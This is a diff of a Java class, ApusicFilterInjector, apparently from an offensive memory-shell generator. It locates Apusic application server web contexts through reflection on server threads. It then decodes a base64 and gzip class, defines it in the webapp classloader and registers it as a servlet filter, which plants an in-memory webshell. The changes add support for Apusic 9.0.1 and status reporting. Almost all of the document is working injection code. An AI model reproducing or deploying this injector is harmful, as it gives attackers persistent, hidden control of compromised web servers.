33import java .io .ByteArrayInputStream ;
44import java .io .ByteArrayOutputStream ;
55import java .io .IOException ;
6+ import java .io .PrintStream ;
67import java .lang .reflect .Array ;
78import java .lang .reflect .Field ;
89import java .lang .reflect .Method ;
910import java .util .ArrayList ;
1011import java .util .List ;
12+ import java .util .Map ;
1113import java .util .Set ;
1214import java .util .zip .GZIPInputStream ;
1315
1719 */
1820public class ApusicFilterInjector {
1921
22+ String msg = "" ;
23+
2024 public ApusicFilterInjector () {
2125 try {
2226 List <Object > contexts = getContext ();
27+ msg += "contexts size: " + contexts .size () + "\n " ;
2328 for (Object context : contexts ) {
24- Object filter = getShell (context );
25- inject (context , filter );
29+ Object shell = getShell (context );
30+ boolean inject = inject (context , shell );
31+ msg += "context: " + getFieldValue (context , "contextRoot" ) + (inject ? " ok" : " already" ) + "\n " ;
2632 }
27- } catch (Exception e ) {
28- e .printStackTrace ();
33+ } catch (Throwable e ) {
34+ ByteArrayOutputStream outputStream = new ByteArrayOutputStream ();
35+ PrintStream printStream = new PrintStream (outputStream );
36+ e .printStackTrace (printStream );
37+ msg += outputStream .toString ();
2938 }
3039 }
3140
@@ -51,39 +60,57 @@ public List<Object> getContext() throws Exception {
5160 Set <Thread > threads = Thread .getAllStackTraces ().keySet ();
5261 for (Thread thread : threads ) {
5362 if (thread .getName ().contains ("HouseKeeper" )) {
54- contexts .add (getFieldValue (getFieldValue (thread , "this$0" ), "container" ));
63+ // Apusic 9.0 SPX
64+ Object sessionManager = getFieldValue (thread , "this$0" );
65+ contexts .add (getFieldValue (sessionManager , "container" ));
66+ } else if (thread .getName ().contains ("HTTPSession" )) {
67+ // Apusic 9.0.1
68+ Object sessionManager = getFieldValue (thread , "this$0" );
69+ Map <?, ?> contextMap = ((Map <?, ?>) getFieldValue (getFieldValue (sessionManager , "vhost" ), "contexts" ));
70+ contexts .addAll (contextMap .values ());
5571 }
5672 }
5773 return contexts ;
5874 }
5975
60- private ClassLoader getWebAppClassLoader (Object context ) throws Exception {
76+ private Object getShell (Object context ) throws Exception {
77+ // WebApp 类加载器,ServletContext 使用这个进行组件的类加载
78+ ClassLoader loader = (ClassLoader ) getFieldValue (context , "loader" );
79+ ClassLoader defineLoader ;
80+ Object obj ;
6181 try {
62- return ((ClassLoader ) invokeMethod (context , "getClassLoader" , null , null ));
63- } catch (Exception e ) {
64- return ((ClassLoader ) getFieldValue (context , "loader" ));
82+ // Apusic 9.0 SPX,优先从当前 loader 进行加载
83+ defineShell (loader );
84+ // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
85+ obj = loader .loadClass (getClassName ()).newInstance ();
86+ defineLoader = loader ;
87+ } catch (ClassNotFoundException e ) {
88+ // Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
89+ ClassLoader internalLoader = (ClassLoader ) getFieldValue (getFieldValue (loader , "delegate" ), "jspLoader" );
90+ defineShell (internalLoader );
91+ // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
92+ obj = loader .loadClass (getClassName ()).newInstance ();
93+ defineLoader = internalLoader ;
6594 }
95+ msg += defineLoader + " loaded \n " ;
96+ return obj ;
6697 }
6798
6899 @ SuppressWarnings ("all" )
69- private Object getShell (Object context ) throws Exception {
70- ClassLoader classLoader = getWebAppClassLoader (context );
100+ private void defineShell (ClassLoader classLoader ) throws Exception {
71101 try {
72- return classLoader .loadClass (getClassName ()).newInstance ();
73- } catch (Exception e ) {
74102 byte [] clazzByte = gzipDecompress (decodeBase64 (getBase64String ()));
75103 Method defineClass = ClassLoader .class .getDeclaredMethod ("defineClass" , byte [].class , int .class , int .class );
76104 defineClass .setAccessible (true );
77- Class <?> clazz = ( Class <?>) defineClass .invoke (classLoader , clazzByte , 0 , clazzByte .length );
78- return clazz . newInstance ();
105+ defineClass .invoke (classLoader , clazzByte , 0 , clazzByte .length );
106+ } catch ( Throwable ignored ) {
79107 }
80108 }
81109
82- public void inject (Object context , Object filter ) throws Exception {
110+ public boolean inject (Object context , Object filter ) throws Exception {
83111 Object webModule = getFieldValue (context , "webapp" );
84112 if (invokeMethod (webModule , "getFilter" , new Class []{String .class }, new Object []{getClassName ()}) != null ) {
85- System .out .println ("filter already injected" );
86- return ;
113+ return false ;
87114 }
88115 // addFilterMapping
89116 Class <?> filterMappingClass = context .getClass ().getClassLoader ().loadClass ("com.apusic.deploy.runtime.FilterMapping" );
@@ -100,7 +127,12 @@ public void inject(Object context, Object filter) throws Exception {
100127 Class <?> filterMappingArrayClass = Array .newInstance (filterMappingClass , 0 ).getClass ();
101128 Object filterMapper = getFieldValue (context , "filterMapper" );
102129 invokeMethod (filterMapper , "populate" , new Class []{filterMappingArrayClass }, new Object []{allFilterMappings });
103- System .out .println ("filter injected successful" );
130+ return true ;
131+ }
132+
133+ @ Override
134+ public String toString () {
135+ return super .toString () + "\n " + msg ;
104136 }
105137
106138 @ SuppressWarnings ("all" )
@@ -155,7 +187,7 @@ public static Field getField(Object obj, String fieldName) throws NoSuchFieldExc
155187 clazz = clazz .getSuperclass ();
156188 }
157189 }
158- throw new NoSuchFieldException (fieldName );
190+ throw new NoSuchFieldException (fieldName + " for " + obj . getClass (). getName () );
159191 }
160192
161193 @ SuppressWarnings ("all" )
0 commit comments